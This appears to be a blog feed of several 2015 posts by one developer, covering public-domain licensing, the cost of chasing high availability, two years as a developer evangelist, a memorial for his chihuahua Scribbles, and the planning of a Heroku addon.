By releasing your software into the public domain, you’re consciously making a decision to make your software truly public. You’re giving ANYONE who can find your project the right to use it however they want. This means they can copy a piece of it, or the whole thing. They can even copy it and say they wrote it. In short: anyone who gets a hold of it can do absolutely anything they want with it.

And… If you have an existing project that’s been released under another license? Maybe it’s time to consider changing things. Releasing your code into the public domain not only helps the corporate developers who want to use your software: it helps the entire development community world wide.

NOTE: If you are a developer trying to use a project inside a big company, and you actually care about what license a project has, please spend a minute actually looking in the project to see what license it has before blindly emailing the author of the project.

<EOF>

Obsessing Over Availability is Dumb

r@rdegges.com (Randall Degges) — Tue, 29 Dec 2015 00:00:00 -0800

Over the past handful of years, as I’ve been building and working on several very large and very public API services, I’ve noticed that almost everyone I speak with is a zealot for availability.

The API service must be up at all times!

Availability is the number one most important thing at our company!

We have an entire team of devops people working around the clock to ensure you get five nines of availability!

Our customers can’t tolerate even a single second of downtime in a year!

etc…

It actually comes up so frequently in conversation that I’ve started to wonder if I’m not crazy for thinking that obsessing over availability is dumb. In my humble opinion, it’s not only a complete waste of time, but also a huge drain on the tech sector in general, and one of the largest factors causing startups to go out of business early.

Think I’m crazy? I’m ok with that. But first, let me explain…

It Just Doesn’t Matter That Much

For 99.99999% of [companies | products | websites | services] out there right now, availability really doesn’t matter all that much.

Do you really think that your Wordpress blog is so critically important that it needs to be up every single second of the year? The most likely answer is no.

The same applies to your startup company: even though you might be providing a [cool | unique | valuable | important] service to your customers, odds are – your customers can live without your service for a few hours every quarter, and still get along with their lives just fine.

Even if you’re running an API company like… Let’s say: Zencoder (an API service which transcodes video files), and make 100% of your revenue from developers building applications on top of your service – it still just doesn’t matter all that much.

In the event that your application can’t transcode a video immediately due to Zencoder downtime, I’m sure the world won’t end and all your customers won’t leave you.

Zencoder going down might be slightly inconvenient, but won’t break your business in twain.

Now, for certain services – namely things that involve real-life repercussions:

Healthcare
Communication systems (like the telephone network)
Banking

Of course availability is important! It’s important because having downtime will dramatically affect a person in ways that may not be easily fixed.

If you place a call to 911 from your T-Mobile cell phone, and you get a ring-ring-ring for 30 seconds, that’s a HUGE DISASTER and could result in a lot of horrible things happening.

But – with that said, for 99.99999% of you reading this, the above is not true.

Availability is Technically Difficult

There’s a huge misconception out there that building highly available services is somehow “easy to do”. This isn’t even remotely true in the slightest.

Let’s think about what true availability means for a minute.

If you’re building some API service that other developers will integrate into their applications, then your service being highly available means:

You need to have multiple web servers sitting behind a load balancer of some sort to handle incoming HTTP requests to your API service. Your load balancer will need to be redundant, so in the event one no longer works, another can take over immediately.
Your load balancers themselves need to be configured in a way such that any failed / incomplete HTTP requests will be resent from the load balancer to another operational web server before returning a response to the end user. This way incoming user requests are not dropped when issues occur.
Any dependent services YOUR service depends on (databases, caches, API services, etc.) must be fully functional and have redundant options in place, as well as specialized fail over / retry software to handle issues when they occur.
When you deploy changes to your software, you need to do so in such a way that no incoming requests (whether in-progress or new) will be negatively affected during the roll out. This means your deployment procedures need to be very carefully implemented and automated, and all edge cases must be taken into account. And don’t forget about things like database migrations, rotating credentials, etc!

The above things are not easy to achieve in a technical way. The reason? Mistakes happen at all levels: hardware, software, and most of all – human. Trying to automate your way out of certain types of availability problems like fail over is a very tricky game.

Even with thousands of hours invested writing configuration management and automation scripts, the odds of technical failure are still very high – and let’s face it: if something can go wrong, it will.

Availability is Expensive

So, since availability is so hard to technically achieve, what does that equate to? You probably already guessed: cost!

Availability is very, very expensive.

Here’s how it costs you:

Hiring multiple full-time operations people to help write Chef / Puppet / Ansible / Salt rules to manage infrastructure, configure / tweak services, and test / automate / mess around with things like fail over, clustering, and graceful degradation.
Having your developers spend lots of time doing the operations work themselves, instead of writing quality code. I’ve gone this route myself in the past, and have spent many thousands of hours doing devops work. No matter what anyone else says: doing devops work in addition to your normal development duties is a losing battle – you will never have enough time to do a good job at both (unless you follow my advice later on).
Spending tons of money on very expensive outsourced services. There are most definitely tools out there than can improve your availability, but they cost a great deal of money. Running redundant servers, paying incredible premiums for special hardware, etc. – it all costs lots of money, time, and usually ongoing maintenance.
Doing a shitty job. If you claim that availability is important to you, but you aren’t willing to spend actual time working on it – then the cost is going to be your customers and your reputation. Selling five nines of availability to customers and under-delivering won’t put you out of business immediately, but will drain your reputation and slowly bleed your user base over time.

No matter what you’ve heard: availability ain’t cheap: so don’t forget it!

Availability Will Cost You Your Company

As a pretty active member of the development community over the last 10 years, I’ve had the pleasure of getting to know lots of different people in the startup scene – and not just in the bay area.

I’ve spent tons of time going to meetups and meeting other developers in Los Angeles, the Bay Area, Portland, Denver, New York, and quite a few other places.

And, no matter where I go or who I speak with: I continue to meet startups building their MVPs who are already spending lots of time and money architecting their services for availability.

I can tell you right now that if you’re a startup building an MVP and don’t yet have a lot of customers, you’re wasting your time, money, and most likely dramatically increasing the odds your company will fail by spending time and effort worrying about availability.

If you aren’t making money, and are already worried about redundant load balancers, you should probably be working over at Google instead of running a startup.

Spending time, effort, and in many cases: limited funding will dramatically increase your Death Rate, putting you out of business that much sooner. It’s hard to come up with generic rules (I’m not a VC or anything), but if I had to come up with a formula, I’d say that if your company is less than 10 people, and you’ve got a dedicated operations person, you’re doing it all wrong.

If you’re a startup and you’re deploying your web services anywhere other than Heroku, AWS Elastic Beanstalk, or some other incredibly simple PaaS, you’ve probably already wasted too much time.

Winning by Least Effort

In my opinion, there’s only one way to win at product development: doing the simplest possible thing at every possible level.

NOTE: This is a lot different than taking the “easy way out” – this is all about taking the path of least effort.

And, as with everything else in this world, the simplest possible thing often involves trade-offs. You can trade a little bit of availability for a LOT of convenience, or you can trade a lot of availability for a large inconvenience.

I prefer to go with the former.

Here’s what I like to do when I’m starting new projects, regardless of how ambitious they are:

Firstly, I’ll build retry logic into the core of my products, so that any failed HTTP requests / DB queries / etc. are retried using exponential backoff a set amount of times (usually 3), ensuring that failed requests are retried and downtime is hopefully avoided for transient issues. This strategy requires very little development effort, and greatly improves apparent availability, even when issues are present.

Secondly, I’ll build my MVP using tools and services that make my life dramatically simpler, with the knowledge that in the future, if I absolutely need to architect my project for availability, I can always do so.

This typically involves using services like:

Heroku

I like to use Heroku for hosting my web servers and workers. Not only is Heroku a platform that enforces best practices, but it is built on top of open technologies, has been around for years, and has an incredible team of people behind it.

It’s also very competitively priced, and free for small projects (like most of mine!).

Furthermore, history shows that Heroku gets you at least 99.99% uptime, for no cost, with zero operations work and maintenance involved. I currently run an API service on Heroku (ipify) which serves > 12 billion of requests per month, and it hasn’t once involved maintenance, woken me up with alerts, or inconvenienced me in the slightest.

Lastly, worth a mention, is the fact that Heroku comes with an awesome collection of addon services which are incredibly high quality. Heroku also runs the absolute best hosted database service that has ever existed: Heroku Postgres. Using anything else in comparison makes you realize just how absolutely amazing the Heroku Postgres service really is.

Select AWS Services: S3, SQS, Dynamo, Redshift

AWS is an incredibly complicated hosting service. More than a hosting provider, it’s a suite of low-level building blocks for developing modern web applications.

It consists of a vast array of services, all of which have distinct purposes and use cases.

Out of all the current services AWS provides, several are worth a mention: S3, SQS, Dynamo, and Redshift. These services require 0 maintenance, do their jobs incredibly well, and get you incredibly high amounts of uptime for low / no cost.

If you haven’t heard of Amazon S3, I don’t know how you found this blog. But anyhow: S3 is a very reliable file storage service that gets you a durability percentage of 99.999999999% (you read that correct, 9 nines of durability), and 99.99% availability yearly. This is probably the most widely used of the AWS services, and, side note: I’ve never see anyone complain about their 99.99% availability guarantees.

Next up: Amazon SQS. SQS is an incredibly simple to use queueing service that costs next to nothing, has a high record of history availability, requires no maintenance or hackery over time, and supports and unlimited amount of concurrent messages.

Dynamo is a very high performance NoSQL database that requires no maintenance, is inexpensive to use, has a very simple API, and allows you to retrieve data in a variety of ways for speed and accuracy. I’ve had incredible results using it as a first-tier cache for API services that require incredibly low latency responses.

Finally, Amazon Redshift is an excellent data warehousing service. It requires no maintenance, is very fast, has a PostgreSQL compliant API for querying data, and can store an unlimited amount of data. If you’re building any sort of analytics tools, aggregating all your data into one place before generating useful metrics and graphs is a perfect use case for Redshift, and it has a number of amazing features to make this sort of workflow even simpler.

I’ve built several projects now that have used Redshift for data warehousing with great success.

Other Services

For some non-hosting related services, I really enjoy using:

Mailgun for sending out email. They have a simple API, competitive pricing, and a 99.99% uptime guarantee. It’s also a hell of a lot easier than handling email yourself.

Twilio for handling any sort of telephony stuff: phone calls, SMS messages, etc. They have a great API, cheap pricing, and a 99.95% uptime guarantee.

Algolia for searching data. It’s simple to use, fast, and has a 99.99% uptime guarantee. It’s also way easier than running Elastic Search clusters of your own, and dealing with all the madness that entails.

Pusher for anything that requires websockets. It provides a simple API to handle websocket stuff, without the hassle of running socketio servers and scaling / running / worrying about those in production. They also have an amazingly transparent uptime model you have to read for yourself: +1 for respect.

Pride, Ego, and Hubris

Lastly, I wanted to quickly mention that the only reason people tend to drone on endlessly about availability in the first place is that caring about availability over almost everything else to a fault has become popular in the tech community. Building a highly available service has become something of a badge of honor.

People who give conference talks about their war stories building highly available services, and brag about their efforts to improve availability 0.0001% are lauded with praise, even under ridiculous circumstances.

Caring a lot about availability has become a source of pride for many developers, in the same way that code quality is a source of pride. If you don’t care about it as much, people think you’re insane!

NOTE: For the record, I do care about code quality more than almost anything else =)

The next time you end up in a conversation where availability comes up, try to approach the conversation from a logical place: is availability necessary for this? Is the cost worth it? Can you get by with 99.99% availability and no operations work whatsoever instead of spending hundreds of thousands of dollars for an extra nine of availability?

As a programmer, you should always be analytical about this stuff. Don’t blindly hop onto the “me too!” train just because everyone else is.

Closing

I hope that by this point I’ve convinced you that I’m at least not crazy, and that obsessing over availability isn’t exactly the smartest thing to do in most cases.

Now, excuse me while I go back to hacking on my latest API service which will be happily sitting at 99.99% availability with zero effort on my part. I’m a busy guy, after all.

Two Years of Evangelism

r@rdegges.com (Randall Degges) — Fri, 18 Dec 2015 00:00:00 -0800

In a couple short months, I’ll have been at Stormpath for two full years. It’s pretty insane how fast the time has flown by. It seems like only yesterday I was writing about my decision to move to Stormpath, and leaving my startup behind.

Since I’m finally taking a bit of a break to sit back and reflect about everything that’s happened over the past two years, I figured now would be a good time so share some of the things I’ve learned and experienced along the way.

Developer Evangelism is Kinda Crazy

First off, being a Developer Evangelist is sorta crazy.

Before joining Stormpath, I never held any sort of marketing / sales / publicity related positions anywhere. Quite the opposite, actually – I was just a developer, working out of my home office, spending 99% of my time completely isolated from the world hacking on code =)

When I started at Stormpath, I was fairly worried about this!

I’ve been to enough events (meetups, hackathons, etc.) in my life to have met a lot of other Developer Evangelists, and I know secondhand that a big part of being a “Developer Evangelist” is doing lots of public stuff: giving tech talks, meeting people, breaking the ice, etc.

While I’m good enough in one-on-one conversation, I’m truly an introvert at heart, and socializing really takes a lot out of me. To say I was worried about this is a bit of an understatement. When I accepted the job offer I was incredibly nervous!

In addition to spending a lot of time actually talking with people, I knew I’d have to give at least a few tech talks – and I know from previous experience that I have a very hard time getting up in front of an audience of people and clearly conveying a lesson in a fun and interesting way.

Not only does public speaking make me really nervous, but it also takes a ton of prep time and practice in order to go smoothly.

I guess what I’m trying to say is: I knew going in that I was signing up for something that felt very uncomfortable to me, but in the end, I’m glad I said “fuck it”, and took the leap, as I really wanted to challenge myself to do something new, and push myself into uncomfortable territory.

What Developer Evangelists Do

There are several different ways to be a successful Developer Evangelist (I intend to write more about this in the near future):

You can attend lots of events (meetups, hackathons, conferences), and do a lot of small group communication.
You can write a lot of open source libraries and tools that developers use, and spend a good portion of your time maintaining them.
You can spend time working on your company website and documentation, improving the developer experience directly at the source.
You can build a lot of sample apps that use your product or service. These serve as examples for developers using your stuff of how to do things properly.
You can write a lot of content: articles, educational material, etc. This is a great way to educate your audience, and build a fan base.
You can do a combination of the above.

What I Do

My first few months at Stormpath, I invested myself heavily in strategy #1 – mainly because this is what I’ve seen other people doing.

Many of my Developer Evangelist friends spend about 90% of their time traveling, attending events, and giving talks.

While this is a tried and proven strategy for reaching developers with your product / service, it didn’t really feel right to me.

Instead, after some experimentation, I’ve fallen into the habit of doing a lot less of strategy #1, and a lot more of strategy #2. I now spend most of my time directly building and improving the Stormpath client libraries in a variety of languages: Python, Flask, Django, Node.js, and Express.js.

Despite my initial uncertainty about this, user feedback has shown me that spending a lot of time focusing on the quality of individual library implementations is a great way to on-board users, improve user experience, and generally attract new users to the service.

Since Stormpath is a fairly complex API service (it stores user accounts, user profile data, and handles all sorts of web authentication stuff: login, API auth, single sign on, etc.), our client libraries are incredibly important – if they aren’t easy to use, simple, and intuitive – developers will immediately move on to something else.

Spending time building and improving these libraries has been a great way to not only popularize the Stormpath service – but has also given myself (and everyone at Stormpath) a much more in-depth view of what developers actually want out of our service, and what all of us should focus on building.

When I’m not doing stuff like library maintenance, I’m typically splitting my time up between:

Authoring blog content. Writing technical articles are how to do X or Y – typically security related topics. These tend to raise our organic search traffic quite a bit, and serve as a nice funnel for marketing: people searching for how to do X or Y learn what they need, and also learn that we exist! Yey!
Giving talks at local meetups or small conferences. Giving talks has turned out to be a great way to both get your service noticed, as well as make friends with people who are actually interested in what you’re doing. After giving a talk, I typically end up chatting with at least a few people who are deeply interested in the talk topic, and subsequently, my work.
Working directly with customers, helping them get stuff done. Through support requests, I end up doing a lot of pair programming with customers. This is actually one of my favorite parts of the job. I get on a screen sharing session and hack on a customer’s code base for a few hours, solving problems and getting things done. This makes people really happy, is very fun, and makes me feel like I’m having a direct positive effect on someone.

What I Don’t Do

As important as knowing what you need to do is, there’s also a lot of value in knowing what you shouldn’t be doing.

I alluded to this earlier, but in my first few months at Stormpath, I took a somewhat typical evangelism approach to the product:

I went to a lot of hackathons.
I went to a lot of conferences / events.
I tried to do as much public stuff as possible.

Almost immediately, I realized this was just not a good idea. Here’s why:

Unless the product or service you’re evangelising is already very far along, well polished, etc., there’s no point in spending a lot of your time doing in person things: hackathons, events, conferences.

The reason why is this: unless you can very clearly show developers what your service does, and how to use it in an incredibly simple, fool-proof way: you’re just wasting your time.

When I first joined Stormpath, we had essentially no developer libraries, so using the product was incredibly difficult. A developer who wanted to store user accounts in Stormpath, for instance, would have to learn about our low-level client objects, dig through Github source code, and do some heavy hacking to make even the simplest of integrations.

From a developer perspective: it was simply not worth it.

In the first few months I learned the hard way that I couldn’t just copy Twilio’s evangelism strategy – I’d have to make my own.

Even today, almost two years later, we’re still not at the point where we can confidently go out into the community at hackathons and various events and easily show off our product in a variety of languages. We still have a ways to go in terms of integration support, ease-of-use, and overall simplicity.

But we’re making great progress =)

What I’m Moving Towards

I think that in the long run, what would work best is to split my time up as follows:

Spend 3 days every week working on library development and maintenance work. This is the most important part of the job in my opinion, as it is what directly effects developers the most. If you’re evangelising an API service, for instance, your product is only as good as your weakest developer library.
Spend 1 day per week working on content related stuff: blog posts, screencasts, tech talks, etc. This is where you reach the most people: educational materials. At Stormpath, almost all of our growth and success has been due to a combination of building high-quality developer libraries, and writing lots of very specific technical articles that people find useful.
Spend 1 day per week doing assorted other things: meetings, planning, collaborating on projects with other team members, helping with the public website / on-boarding, etc. At Stormpath, for instance, I frequently get involved in various other areas not directly related to evangelism: company analytics, on-site hackery with larger companies, working on the public facing website, giving feedback to other teams, etc. All of these things are valuable, and instead of being completely siloed into evangelism, it’s important that you also make time for helping in other areas that you can contribute to as well. This helps to build a good team culture, and also keeps you from falling into the same old routine day-after-day.

Over the next year, I’m hoping to slowly transition more and more into something like the above, as the last two years have shown that the three above items are the most effective for Stormpath at this time.

The Main Problem: Lack of Time

The main problem I face on a day-to-day basis is, quite simply, lack of time.

One of the biggest problems I’ve had through my first two years (and still a bit currently) is deciding what the priority of various tasks are. It’s very difficult to prioritize large, high value projects when there’s a constant influx of important time-demanding things going on: responding to customer requests, fixing library bugs, reviewing pull requests on Github projects, etc.

Sometimes, at the end of a busy day, I’ll have spent 10 hours working on lots of important customer related tasks, but have made no progress on my first (and sometimes only) task for the week.

This can definitely be a bit demotivating, but I’ve learned to aim for small wins here and there. For instance, instead of putting a huge project onto my task list, I’ll break it up into 10 separate mini-projects. This way I can knock one or two of these mini-projects off my list every day and be able to sleep peacefully at night knowing I’ve accomplished something.

Another thing I’ve learned (just recently!) is to be ruthless with your TODO list. I’m currently using Trello to manage my backlog of tasks, what I’m currently working on, and my weekly “Done” list. This has been great because it gives my coworkers insight into what I’m currently busy with, and also gives both them and me a way to co-ordinate about what things need to get finished first, etc.

Whatever system you end up using to manage your time, make sure you use it religiously and don’t deviate.

Never, Ever, Stress Yourself Out

I realize I just wrote for quite a while about how crazy being a Developer Evangelist can be, but as counter intuitive as this might seem – no matter how crazy things get, never allow yourself to stress about work.

It’s just not worth it!

At the end of the day, there are always a million things to do:

Projects to build.
Articles to write.
Emails to send.
Weights to be lifted.

But the reality is that this is all just part of your life. This is your life that you’re living! You are the one who makes decisions about what to do with your time, and at the end of the day you’re the one who has to live with those decisions.

Instead of constantly thinking about the past or future, and worrying yourself with a seemingly ever-increasing list of chores, simply focus on one thing at a time and enjoy your life as much as possible.

I know from past experience that it’s really easy to let yourself get wrapped up in the scarcity mentality: no time for this, too many things to do for that, etc! If you’re a Developer Evangelist, there are always new things you’re learning and working on, so it’s absolutely, 100% necessary to just relax, and focus on one thing at a time.

Public Speaking is Very Hard

Another thing I’ve come to really appreciate is how difficult public speaking really is.

I mentioned earlier that I’m a bit introverted and afraid of public speaking – but that’s not quite true. I know that if I practice enough and spend sufficient time in preparation, I’m able to give a relatively solid talk and feel confident in my performance.

What’s hard about public speaking is developing a clear and concise talk that’s both technical and entertaining at the same time.

I tend to watch a lot of technical talks for fun. This is partly because I enjoy going to meetup groups, and partly because I often stumble upon highly recommended ones on Youtube and such. But the point is: I watch a lot of them.

One of the things that has always sorta bugged me is that many of the best technical talks out there are… Very, very dry. To put it bluntly: they’re boring. SUPER BORING. So incredibly boring that it’s honestly hard to follow.

When I gave my very first ever tech talk years ago, I decided that above all else I want to be the sort of speaker that doesn’t bore his audience.

Over the years I’ve experimented with many approaches, but what I’ve found works best is raw enthusiasm.

It doesn’t matter whether I’m speaking about password security or scaling API services, I try to embed as much passion and enthusiasm for my topic into my talk as humanly possible.

But here’s the tricky part: it’s very hard to write good technical talks that are:

Sufficiently easy to follow.
Sufficiently technical so that I can provide practical, in-depth information.
Sufficiently interesting so the audience isn’t bored.
Sufficiently complex so that I’m able to teach everyone in the room something new.

It’s very hard to balance all four points.

I’m still working on this quite a lot, and with each new talk I write I try to improve at least a little bit more towards my end goal.

But damn, writing a good talk is no easy task. It’s not uncommon for me to spend 40+ hours writing and preparing a single 30 minute talk :(

I’m hoping that over the next year, I’ll have sufficient practice to make this process a bit more automatic and easier :)

You Can Do a Lot in a Year (or Two!)

In the past year, Stormpath has grown an incredible amount.

Since I’ve joined, the company has launched several huge features, completely redone our entire product UI, added tons of new users, picked up lots of revenue, and also expanded our footprint into many new developer communities.

My own, proudest achievements to date, include:

Building an incredibly tightly integrated Flask-Stormpath library which makes building secure Flask web apps drop-dead simple. This library generates web registration and login pages, handles social login via Google and Facbeook, and provides really convenient methods for accessing and storing user data. It does a lot of things that no other Flask tools out there do, and has one of the nicest, cleanest APIs I’ve ever written.
Helping to revamp Stormpath’s Python and Django libraries to improve the quality, look, and feel of the library for developers. It’s now not only a useful library, but an elegant and simple one =)
Building out a full featured Express-Stormpath library which makes building secure Express.js web apps simple. Just like with our Flask integration, our Express.js integration does incredibly powerful things that no other apps out there do, and honestly saves developers using it a ton of time and energy.
Pair programming with nearly 50 separate users, helping them solve real world problems related to user authentication. Each time I do it I have a ton of fun, and get to see how REAL APPS ARE GETTING WRITTEN out there in the real world by real people. It’s exciting!
Building out an analytics pipeline along with our core engineering team, which generates all sorts of cool company statistics, and makes tracking progress possible.
Building out brand new developer library and product documentation, and developing new systems to automate improve the documentation process.

Key Takeaways

If you’re just getting started with an evangelism role, before diving into your job, take a few moments to evaluate where your product / service is at in a realistic way. What’s the most valuable thing you can start on immediately?

One question you should always be asking yourself as you work on projects is: “How will this help a developer trying to do X?” If the answer is “it won’t”, you might want to take a step back and reconsider.

Track your progress (loosely) via company metrics:

How many new developers make API requests to your service?
How many of these developers stick around after the first month or so?
How many new signups do you get per month?
What programming language is most popular amongst your userbase?
How is your API usage distributed? Do you have a few customers generating all your requests? Or is it more evenly distributed?

If you do things right, you should hopefully see:

An increasing amount of user growth every month.
An increasing amount of API usage in each programming language when you improve your developer libraries.
An increase in API activation rates (how many new signups actually try out your API service?) when you simplify on-boarding stuff.

And – I think that’s just about it.

I plan to dive into more in-depth articles about evangelism in the future, to share what things specifically have worked well (and not so well) for me at Stormpath. So, if you’re interested, be sure to follow along =)

Saying Goodbye

r@rdegges.com (Randall Degges) — Fri, 11 Dec 2015 00:00:00 -0800

It’s hard to describe in words how painful it is to lose a best friend – so instead, I’ll simply tell you about how amazing having a best friend can be.

I didn’t have a bad childhood. I grew up in a family with two parents who loved me and supported me – and although we had fights and disagreements all the time, I always felt loved and care for. Despite this, at some point in my childhood (I can’t remember exactly when), I started to feel very alone.

In school, I was a good student. I did my homework, followed the rules, and even played some sports. But after being introduced to computers, my entire life changed. I was obsessed.

I no longer felt like being around people. The more I learned about technology, the more time I wanted to spend locked away in my room, as far away from everyone else as possible.

I remember that in high school, there was nobody to share this with. I had very few friends. I started to gain weight, and for the most part, isolated myself from everyone else as much as possible.

Then one day I discovered that a really beautiful girl liked me! I was excited and nervous. I ended up talking to her on AOL messenger, and we spent many hours talking about all sorts of interesting academic things. I was very interested.

I later discovered that although we didn’t have much in common, she enjoyed my company, and liked hearing me ramble on about all my programming projects and articles. She liked me despite the fact that I wasn’t popular, didn’t play sports, didn’t have a lot of friends, and didn’t engage in any of the popular high school activities at the time.

She liked me for who I was.

Our first sort-of-date was a few days before Halloween in 2005. She invited me to go to a party with her, and some friends. So, my friend Eric picked me up and took me over to her place, where we planned to pick her up and drive over to the party together.

When I got to her house, she told me to come inside and take a seat on this rocking chair in the living room. As soon as I sat down, I remember hearing a sharp, tiny bark, emanating from the bedroom area. In what I only remember as a blur, I saw this incredibly tiny little chihuahua sprint around the living room, do several laps (while barking), then sprint back to the bedroom area where the girl who liked me was getting ready to go.

Little did I know that girl would become my wife, and that dog my daughter and best friend.

This was the first time I ever met Scribbles.

Scribbles was a very, very loved dog. My then-girlfriend, Sami, loved her more than anything in the world – and I mean that literally. Scribbles went with her almost everywhere, and only felt comfortable when being carried around by her.

Scribbles became part of my close family almost instantly. She immediately liked me. Every time I’d visit Sami, I’d see Scribbles. I’d pet her, play with her, and sneak her human food when Sami wasn’t looking.

She would fall asleep lying in my lap.

When Sami met my parents and my family, Scribbles did too. My two family dogs: Doby and Jeny, got along great with her. They quickly became good buddies.

When Sami and I both went off to university, my family adopted Scribbles as their own, and took care of her while the two of us were away at school. My mom and dad both loved Scribbles a lot, and always treated her like a princess.

As you can tell, they might have even loved her a little too much! She got quite plump while living with my parents =)

When I eventually dropped out of school, moved back to Los Angeles, and married Sami – Scribbles became my daughter.

We lived in a tiny apartment in Canoga Park, in a rough neighborhood. I worked at home for a 3 person company, just barely making ends meet, and Scribbles was my only companion most hours of the day.

I was working constantly at a very small tech company, trying to make big things happen. In the middle of summer, it was well over 100F, and we only had a wall unit air conditioner. It was hot, smelly, and stressful.

My only real break from work was taking Scribbles out for our habitual walks around the neighborhood which she liked so much.

She didn’t mind that we lived in a rough area, or that we didn’t have a lot of money. She was always so happy when I got out her leash.

When Sami and I fought with each other (which happened a lot our first year of marriage), Scribbles was always what helped bring us back together. We both loved her so much that all our petty arguments and stupid nitpicking were quickly forgotten when we’d all lay down together at night in our big bed.

No matter how upset we were with each other, we’d always find time to lay down with Scribbles, play with her, and dote over her.

Some of my happiest memories are simply of lying down with Sami and Scribbles curled up beside me. The amount of happiness, contentment, and love I felt with both of them beside me was unequaled.

As I continued to move up in my career, I worked even harder. The first three-and-a-half years of my marriage was rough: I worked a lot, stayed home alone almost all the time, and really only hung out with Scribbles.

With all that time alone together, we really became best friends. When I woke up every morning I’d play with her and make her breakfast. When I worked throughout the day, she’d lie next to me and occasionally look back at me to make sure I was doing alright.

Scribbles was an amazing friend and companion. When either Sami or I were sick, she’d lay next to us in bed until we felt better. If I wasn’t feeling great, she’d always be there to hug and squeeze.

When I was frustrated with a programming challenge, I’d start explaining it out loud to her, and would usually stumble across the solution mid-way through my explanation. In that regard, she’s probably helped me write a few million dollars worth of code.

When Scribbles first started coughing, I wasn’t worried. I just assumed she was sick, so I took her to the vet.

During the visit, the vet told Sami and I that she had a mild heart murmur, and that it was something common in small dogs as they get older. We weren’t worried. Scribbles started taking heart medication to help out.

As time progressed, Scribbles seemed to get more and more lethargic. When we took her back to the vet again, they told us that her heart murmur had worsened, and increased her medication again. The vets told us not to worry though – this is a common issue, and she still had plenty of time left.

I was not at all worried.

Scribbles was my dog! She was tough. A little medication would just help her out and things would be back to normal.

Over the next year, things got progressively worse. Scribbles would start coughing more and more, which meant that fluid was building up in her lungs.

One time, we took her into the vet because the cough had returned, and instead of just increasing her medication, they put her into an oxygenated chamber to help her breathe, while they gave her diuretics to help remove the fluid from her lungs. This was the first time the doctors told us that she may not have much time left.

When they put her into that chamber, that was the first time I ever really broke down. I cried, hard. Up until that point, I had never really considered the possibility that anything bad would happen to her. It never even dawned on me that it was possible.

I was her dad, and I was responsible for making sure she was healthy, happy, and most importantly: alive. I felt like I was failing as a parent. I was angry, upset, and incredibly sad all at the same time.

When Scribbles was returned to us the following day, she was very lethargic. It took her a week or so to get back to her normal self, and even then, things were different. Sami and I could tell she didn’t feel well.

She had a hard time breathing, and would take shallow breaths. As we continued to increase her medication to stabilize her, she stopped eating normal food, and didn’t want to sleep in our bed any longer.

So Sami and I delt with it as best we could: I hand-cooked chicken breast for her, and hand-fed her every meal. Sami and I would take turns sleeping on the couch with her, as she didn’t want to be in bed anymore.

We were both very worried about her and didn’t understand what was happening, but in retrospect, I think she was trying to tell us that she just didn’t have much longer left.

We did as much as we could to make sure she was happy. We spent a ton of time with her, loved her, and spoiled her with as many healthy treats as were allowed.

When Sami woke me up early one morning, telling me that Scribbles was having a coughing fit, I instantly knew something was wrong. I threw on a jacket, and we raced to the emergency vet near our house.

They immediately hooked Scribbles up to an IV of diuretics, and placed her in an oxygen chamber. They told us her lungs were very full of water, but that they would be able to stabilize her.

Hours later, we got a status update: she wasn’t responding well to the medication – her heart was very weak, and her kidneys weren’t able to pull the water out of her lungs very efficiently. They wanted to keep her overnight. They said they would call us if she took a turn for the worse.

I couldn’t really sleep that night. I woke up every hour or so and called the emergency hotline to check on Scribbles. She wasn’t making much progress.

I felt horribly guilty for keeping her there overnight.

At about 9am, we drove to the vet’s office and spoke with the doctor. Scribbles was not responding well, and wasn’t stabilized. They weren’t sure they could bring her back to a stable level.

We had to make some tough decisions.

Asking the doctor to do whatever possible to stabilize her in the next couple of hours was the second hardest decision I’ve ever had to make. We spoke with the vet, and we met with a very kind lady who would be able to euthanize Scribbles at our home if we chose that route.

After many tears were shed, Sami and I made the final call. We told the doctor that we wanted to take Scribbles home with us for the day, and that we wanted to put her to sleep that night at our home, with both of us.

December 11, 2014 was without question the hardest day of my life.

When we were finally able to pick Scribbles up and take her out of the vet’s office, Sami and I were in shambles. It was incredibly surreal.

We tried to do what we thought Scribbles would like the most. We went to the grocery store and bought a rotisserie chicken – it was her favorite food. We brought her home and just loved her.

We hand fed her, we kissed her, we snuggled her, and we laid down together.

She didn’t feel well, and wasn’t very active, so we spent most of our time lying down.

We also bought a little paw print kit, and were able to get impressions of Scribbles’ paws for us to keep and hold onto.

When night time came around, Barbara came to our house. It was around 9pm or so when she arrived.

We lit candles, we turned the lights off, and I held Scribbles in my arms the entire time. Before Scribbles went to sleep for the last time, Sami and I both thanked her for being such a great friend and companion to us over all the years.

We told her that we loved her more than anything, and that we were so thankful to have her in our lives.

When the time finally came to do it, and we told Barbara to inject the final bit of medication, Scribbles stood up in my arms, turned to Sami and then myself, and kissed both of us.

It was the single hardest moment of my entire life.

Thinking back about it is still the most painful thing I can imagine. Just writing this out is incredibly hard.

Having a friend and companion like Scribbles dramatically changed my life. Having the sort of unconditional love and affection that only a dog owner can know is such a beautiful and touching thing.

It was very hard to say goodbye to my best friend.

I still think about her almost every single day, and still talk to her from time-to-time when I’m here at home alone. As much as I miss her, I’m so thankful for every second I got to spend with her, and I’m so happy that she had a great life.

I love you, Scribbles.

Building a Heroku Addon - Planning

r@rdegges.com (Randall Degges) — Wed, 22 Apr 2015 00:00:00 -0700

NOTE: You’re currently reading part 2 of a series I’m writing called “Building a Heroku Addon”. If you haven’t read the previous installment, you’ll want to go do that before continuing.

Welcome back! Glad to see you again. In this article I’ll be sharing my Heroku addon plans with you. I’ll discuss exactly what I’ll be building, what it’ll look like, and how it’ll work.

If there’s one thing I’ve come to learn through all of my years hacking on side projects, it’s this: always have a goal.

The Overall Goal

I love looking at overall application metrics. There’s something inherently appealing to my own sense of vanity about seeing how many users / requests / etc. my application has served.

These numbers aren’t at all business metrics – they’re vanity metrics.

Through speaking with other developer friends, I’ve come to realize that it’s not just me – lots of other programmers feel the same way! It’s a rush when you see how much usage your code is getting – it’s motivating, inspiring, and more than anything: fun!

The purpose of the Vanity addon I’ll be creating through this series is to provide clear vanity metrics that Heroku developers will enjoy looking at.

The metrics that Vanity provides should be encouraging, inspirational, and fun. Developers should want to check their Vanity dashboard as they hack on their projects, and should view it as a source of enjoyment: not dread.

List of Things to Build

In regards to what needs to be built – there are several components to consider.

Firstly, I’ll need to build an API service (api.vanityaddon.com), which runs on a Heroku dyno itself, and implements the Heroku Addon Provider API specification. This will allow Heroku developers to run commands like:

$ heroku addons:add vanity
$ heroku addons:upgrade vanity <planname>
$ heroku addons:remove vanity

I’ll need to store Heroku addon users in a database of some sort, and keep track of their ID and plan information.

